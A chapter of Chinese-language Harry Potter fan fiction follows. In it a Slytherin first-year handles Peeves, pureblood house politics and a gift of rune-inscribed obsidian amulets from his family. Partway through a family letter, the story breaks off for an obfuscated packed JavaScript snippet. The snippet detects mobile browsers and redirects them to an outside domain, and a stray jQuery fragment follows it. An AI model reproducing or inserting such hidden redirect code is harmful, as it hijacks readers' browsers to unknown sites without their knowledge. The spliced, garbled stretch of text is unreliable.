周三白天，西格纳斯依照课程安排，上了与拉文克劳一起上了魔咒课，又和赫奇帕奇共同上了黑魔法防御课和草药课。
这期间，夹杂着他与皮皮鬼的“斗智斗勇”——似乎是因为发现了他的“弱点”而非常兴奋，仅周三上午，皮皮鬼就突然出现了三次。不过，因为出现得过于频繁，反而导致西格纳斯感觉有些麻木了。
于是皮皮鬼再次改换了方式，他开始用乱七八糟的调子唱起了自编的小曲——不得不说，这种让西格纳斯回想起开学宴校歌灾难的行为，也许才是真正有杀伤力的骚扰。
所幸，这一次他绷住了表情，没让皮皮鬼察觉。
晚上八点，霍格沃兹一年级的新生们一起去了霍格沃兹城堡的天文塔——鉴于一年级的宵禁时间是明确的夜间九点，他们不得不选择月亮初升的时刻上课。
奥罗拉·辛尼斯塔（Aurora Sinistra）教授带领一年级们学习基础恒星的名称，以及重要行星的运行轨迹。
在西格纳斯眼中，天文课大概是霍格沃兹所有课程里，与麻瓜科学最相似的学科了。属于拿着魔法道具出现在伦敦街区，都无需担心触发《国际保密法》的那种课程——它甚至没有专门的教科书。
西格纳斯盘算着，也许可以让卡斯托把家里那本1864年麻瓜出版的《弗拉马里翁天文学》寄来霍格沃兹，大概能让自己的天文学论文更好写一些。
罗齐尔兄弟觉得这非常可行，因为：“法国巫师界一直怀疑，尼可拉斯·卡米伊·弗拉马里翁（Nicolas Camille Flammarion）其实是个没能接受正规巫师教育的麻种巫师——毕竟他除了天文学，还热衷于研究通灵术。”
“你们怎么不继续‘生态观察’了？”西格纳斯笑着问。
之前为了能够更好地观察英国的纯血巫师生态，这两个家伙这些天可是尽量不在公共场合和自己站在一起的——毕竟自己开学宴上那番鄙夷“只能炫耀祖辈”的言论，确实算得上是针对某些纯血了。
洛塔尔耸了耸肩，“样本太少了，没有观察的意义。”
西格纳斯一挑眉。
“包括一年级这两个，还有三年级的两个，”洛塔尔露出一个有些不屑的笑容，“不过就是……”
“Wenn die Katze aus dem Haus ist, tanzen die M?use.”/“Quand le chat n''est pas là, les souris dansent.”兄弟俩分别以德语和法语做出了相同的评价。
“猫不在家，老鼠跳舞？”西格纳斯不禁喃喃道。
“是啊！五年级在准备O.W.L.s考试，六年级和七年级在准备N.E.W.T.s考试，我们根本接触不到，所以无从了解。”洛塔尔露出深觉无趣的表情，“而五年级以下的，尤其是追随过神秘人的那些，在1982年前后，有能力的转学、没能力的退学。除了弗利女士和博克学长，剩下的都是一些边缘的小家族，没什么观察价值。”
洛塔尔接着说：“那些小家族，多数都是追随着‘神圣二十八姓’发展的。就像围绕在行星旁边的卫星——没有行星的引力，他们就会如同一摊散沙。”
“我们罗齐尔家族在英国的这支，自从埃文·罗齐尔的事后，就彻底没落了，”埃里希补充道，“所以才要我们过来接手。”
“现在的斯莱特林里，除我们以外的‘神圣二十八姓家族’，低年级只有塞尔温、罗尔，还有特拉弗斯，四年级是弗利和博克，五年级唯一一个‘布莱克’还是被除名的那种。”洛塔尔分析着，“那个跟塞尔温和罗尔结盟的三年级的加格森，不过是利用那两个家伙‘神圣二十八姓’的名头，试图建立威望的新生代纯血而已。”
“前两个浅薄得同样没有观察价值，被除名的‘布莱克’显然不符合你们的观察期待；弗利女士和博克学长偏中立，倒是无所谓，但若想观察哈伦，你们反而不能与我‘疏远’。”西格纳斯微笑，“我说得对吧？”
“啊，没错。”洛塔尔叹了口气，“不过说起特拉弗斯家……他家作为被分割的蛋糕，其实也没法作为常规观察对象。”
“所以？”西格纳斯挑了一下眉。
埃里希最后陈词总结，“还是回来继续观察你，最有意思。”
西格纳斯嗤笑一声，“随你们。”
在他们闲谈的过程中，一个意料之外的人凑了过来——“魁地奇狂人”费利克斯·普伦顿。
“嘿！三位。”普伦顿一脸笑容，“那个，你们听说过吗？咱们斯莱特林的学院幽灵血人巴罗，据说经常会来天文塔散心，所以皮皮鬼轻易不敢来这里捣乱！”
西格纳斯勾起嘴角，露出一个标准的微笑，礼貌地回应着：“怪不得，来上课的路上，没碰到皮皮鬼捣乱。”
“嗯，是啊！”普伦顿应和了一声，“还有魁地奇球场，皮皮鬼也没出现过。你要是想去打魁地奇……”
西格纳斯能够感受到，对方在很努力地延续话题，只是他显然没想好该聊些什么。
所幸，曾在魔药课上与西格纳斯搭档过的伯尼·皮尔思沃斯走了过来，在与他们打过招呼后，一边对普伦顿说着“轮到咱们使用望远镜了”，一边将人拉走了。
西格纳斯维持着礼貌的笑容，看着普伦顿和皮尔思沃斯离开，“他怎么回事？”他微微侧头，问了一句。
“他……大概是被高年级提点了，来跟你建立一下交际关系？”埃里希的语气也不怎么肯定，“整个一年级就只有他，之前一直没跟你有过接触。”
西格纳斯将目光转回兄弟俩，面露不可思议，“就提点成这样？”
洛塔尔摊了摊手，“你也没办法指望一个‘魁地奇脑子’表现得更好了。”
“毕竟是罗德里·普伦顿（Rode Plumpton）的孙子。”洛塔尔说着，“在英格兰和苏格兰，只要是魁地奇爱好者，必然会给他几分面子。看来是有好心人帮他分析了一下现况？”
英格兰魁地奇代表队传奇找球手罗德里·普伦顿——创下单局中，以三秒半的最快速度抓到飞贼的英国记录。
“所以他终于发现，他没必要跟着塞尔温和罗尔混了？”西格纳斯露出讽刺的笑容。
“毕竟高年级里，有脑子的人还在。”洛塔尔说着，埃里希补充了一句，“不过那个布鲁图斯·加格森也在魁地奇队里，担任找球手位置。”
“可见斯莱特林人才凋敝。”西格纳斯撇撇嘴。他双手交叉举上头顶，活动了一下被夜风吹得有些僵的身体。
“不过，为什么是今天？”
洛塔尔露出一个带着些许调侃的笑容，“那大概是因为，昨天你一脸期待地跑去院长办公室的事，被人注意到了吧！”
西格纳斯微微一顿，想到了昨天晚上碰到的那两个不确定学院的高年级——也不知道这消息是怎么迅速、曲折地传回斯莱特林的。
“看来，”他瞥了一眼罗齐尔兄弟，勾起嘴角，“魁地奇队里，人才济济啊！”
曾被西格纳斯几次目睹到与球队成员晚餐共坐的埃里希和洛塔尔，露出一模一样的笑容。
***
周四的清晨，西格纳斯终于再次与罗齐尔兄弟一同出现在礼堂。他在长桌一侧坐下，埃里希和洛塔尔则一左一右坐在了他两侧。
埃里希在西格纳斯的右侧坐下后，顺手将一杯牛奶递到他面前，自己则拿了一杯南瓜汁。
“你们比之前还夸张。”西格纳斯指了指埃里希的手边，然后就收获了一份巧克力味香蕉可丽饼。
洛塔尔在左侧落座，也塞给他一份草莓冰淇淋可丽饼。自己则拿起一块法棍切片，用餐刀往上面涂着加盐黄油，“毕竟回归了最初的核心观察计划。”他说着，“总要让你心情愉悦，才会允许我们继续观察下去。”
“看在你们已经支付过的代价的份上，我本来就没打算拒绝。”西格纳斯回应着，吃下一口裹着香蕉片和榛子巧克力酱的可丽饼。
“所以，感谢你的宽宏大量。”埃里希说着，将一份沙拉推到他手边。
西格纳斯哼笑一声。
安东尼奥拉着哈伦出现在了礼堂门口，他们确认了一下位置后，落座于西格纳斯的对面。
“哟，今天不分开坐了？”他看着罗齐尔兄弟的位置，开口调侃着。
两位罗齐尔一起看向西格纳斯。
“皮皮鬼能用的手段，应该也都用过了。”西格纳斯露出笑容，“只要防御手段到位，就不用再在意他。所以，就不怎么需要保持距离了。”
“防御手段？”哈伦有些惊讶，“霍格沃兹既往，可没有什么有效的防御措施记录。”
西格纳斯不置可否，“主要还是因为‘公共区域禁止施法’的禁令吧！”
若是学生们能够自由施法，至少皮皮鬼投掷杂物的骚扰手段，将失去大部分的效果——若能够释放铁甲咒、清理咒等防御性咒语，虽然无法驱逐皮皮鬼，但至少可以保护自己快速躲避、少受影响。
不过，这项禁令本身是为了维护校园秩序，不可能仅为了应对皮皮鬼就取消。
“我的防御措施也不具有普适性——技术成本有些高，且只能防护个人。”
正说着，猫头鹰们从礼堂的天窗飞了进来。
在西格纳斯的座位前，落下了整整四只猫头鹰。他手上敏捷地用空白餐盘盖住了可丽饼，没让那仿佛飞雪一般飘散的绒羽落在自己的早餐上。
“怎么这么多？”他有些诧异地看着面前的猫头鹰们——一只自家的雕鸮、一只仓鸮、两只魔法邮政体系的灰林鸮——家里这到底是寄了什么来？
罗齐尔兄弟一左一右招过了灰林鸮，从它们的爪下卸下了包裹。
“是我们的定制提箱到了。”埃里希取下包裹打开，里面正是西格纳斯同款的魔药器具整理箱。洛塔尔也拿起自己的箱子查看，“正好，明天就能用上。”
这引得安东尼奥好奇地探头探脑，“什么定制提箱？让我看看。”被哈伦一把拉回座位。哈伦拆下仓鸮爪下的包裹，塞到安东尼奥的怀里，“我母亲仿照你们那边的杏仁脆饼烤制的小饼干，应该不会太甜了。”
雕鸮凑近了西格纳斯，碰了碰他的手，示意他赶快接收包裹。
西格纳斯确认了一下包裹大小，心下一松。摸了摸自家雕鸮的背羽，拆下它腿上的信件和包裹，又取了旁边准备好的鸡胸肉、特制猫头鹰口粮和清水喂给它。
西格纳斯拆开信封，这次的信不是卡斯托写的——昨天的双面镜通信中，他正在罗齐尔家主的引荐下，前往瑞典处理一些与家族资
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16343115|179996||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
产相关的事项——信件的署名是卡珊德拉·普林斯-埃弗瑞（Cassandra Prince-Everay），西格纳斯那位沉迷古代如尼文研究的表姑姑。
“我们亲爱的西格尼：
……之前听卡斯托说起，你跟皮皮鬼起了冲突。我可怜的小蜜糖，希望你没被吓到。霍格沃兹的一切都很美好，除了皮皮鬼，我至今仍记得那个骚灵有多么可恶……”
卡珊德拉表姑姑的字迹里，都透露出一股针对皮皮鬼的怨气。
“……古代如尼文的确能限制皮皮鬼的靠近——可惜我是在临毕业时才发现这点。
卡斯托的龙鳞护符想法很好，毕竟学生被限制在公共区域施法，但并未禁止使用魔法道具。
……不过龙鳞这种材料虽然好，处理起来却比黑曜石麻烦得多了，我不得不将奥雷利乌斯（Aurelius）找来帮忙。”
西格纳斯砸舌：奥雷利乌斯·普林斯-埃弗瑞是西格纳斯的小叔叔，专注于炼金术研究。是家族上一代中年龄最小，也是唯一一位毕业于布斯巴顿——知名炼金术士尼可·勒梅母校——的巫师。
“……你期待的龙鳞护符，至少还需要等上一段时间。
作为短期替代，给你准备了几个黑曜石护符。不过要注意，黑曜石可比不过龙鳞，每个护符只能激活7次，所以你最好随身携带2个以上。
……好好享受你的霍格沃兹时光。
爱你的，卡珊德拉。”
西格纳斯收好信纸，拆开了随信而来的包裹——10枚约大拇指大小的片状黑曜石护符，以少量的妖精银镶嵌了古代如尼文字符“?（Thurisaz）”。
哈伦看到后，露出了震撼的表情，“你们家……这么奢侈吗？”
这种黑曜石护符，材料成本也许并不高，但叠加了高级魔文镶嵌工艺，根据具体效果，单枚护符的价值就被提升到了15~30加隆之间。哪怕只以底价15加隆计算，但这里放着的是10枚——据说霍格沃兹教授的工资，也不过是每月155加隆的水平。
哈伦的表情，仿佛在说着：“这就是魔药世家的含金量吗？”
西格纳斯微笑着解释道：“没那么夸张。护符的原材料并不昂贵，如尼文镶嵌则是家里人自己动的手，所以成本可控。”
“我以为，普林斯是魔药世家？”洛塔尔好奇地发问。
“我们是旁支。”西格纳斯回答，“‘埃弗瑞’一支传承了很多代，既往也联姻过许多家族的旁支。”他淡然地说着，“作为‘普林斯’，我们以魔药作为最核心的传承；作为‘埃弗瑞’，我们从不拒绝更多的知识和底蕴。”
罗齐尔兄弟闻言，隔着西格纳斯，互相对视了一眼。
“真是个贪婪的家族啊……”安东尼奥以手托着腮，往嘴里塞了一块沾着咖啡的仿杏仁脆片，低声感叹着。
西格纳斯脸上挂着得体的笑容，将信收好。
***
早餐过后，西格纳斯和罗齐尔兄弟赶往二层的变形术教室，而安东尼奥和哈伦则慢悠悠地走向更高楼层。
西格纳斯叫住了安东尼奥，并将两枚护符抛给了他。
安东尼奥抓住后愣了一下，然后才意识到西格纳斯是什么意思，将其中一枚塞到给哈伦怀里。
“这是？”哈伦面露疑惑。
“保险措施。”西格纳斯说道。
护符到手，皮皮鬼的恶作剧效果会大幅折损。而吃瘪后的骚灵，会不会发疯地向自己周围人出手……“只是以防万一罢了。”他一边说着，一边在身后的埃里希和洛塔尔手中，也各塞了一个护符。
几人下意识地环顾四周，确认是否有人看到这一幕。
“放心，骚灵不在。”西格纳斯笑了笑，瞥了一眼楼梯的拐角处，“两位‘纯血先生’显然还要再宣扬一下自己的光辉事迹，而三年级们要去上草药课。”
埃里希和洛塔尔交换了一下视线，“草药课……赫德森·布鲁姆？”他们意识到西格纳斯的信息来源。
“赫奇帕奇可比斯莱特林天真可爱多了，不是吗？”西格纳斯笑着回应。
安东尼奥笑嘻嘻地趴在楼梯扶手上，“好可怕呀，哈伦。你说我会不会也被他套过话了？”
“你还用套话吗？”哈伦毫不客气地戳穿了他。
“我们先去上课了。”西格纳斯与两位二年级告别，同时晃了晃手中另一枚护符，“顺便过一下明路。”
走进变形术教室，麦格教授正在教室里确认本节课的教学道具——还是火柴。
西格纳斯走上前，“麦格教授，早安。”他递上了一枚护符，“这是我家里寄来的防护道具。我想，这应当是在校规允许的安全范围内？”
麦格教授接过护符，认真地确认着护符的材质、工艺，以及所镌刻的如尼文，确认其没有任何隐藏的黑魔法风险。
片刻后，她将护符还回西格纳斯手中，“没有问题，普林斯-埃弗瑞先生，你可以放心地使用它。”
“感谢您的批准。”西格纳斯向她行了一礼。
转身走回座位处时，他正巧碰到了相携进入教室的格兰达·塔格伍德和安娜·沃林顿。
在与塔格伍德点头致意后，西格纳斯笑着将视线转向瑟缩了一瞬的沃林顿。
“早安，沃林顿小姐。”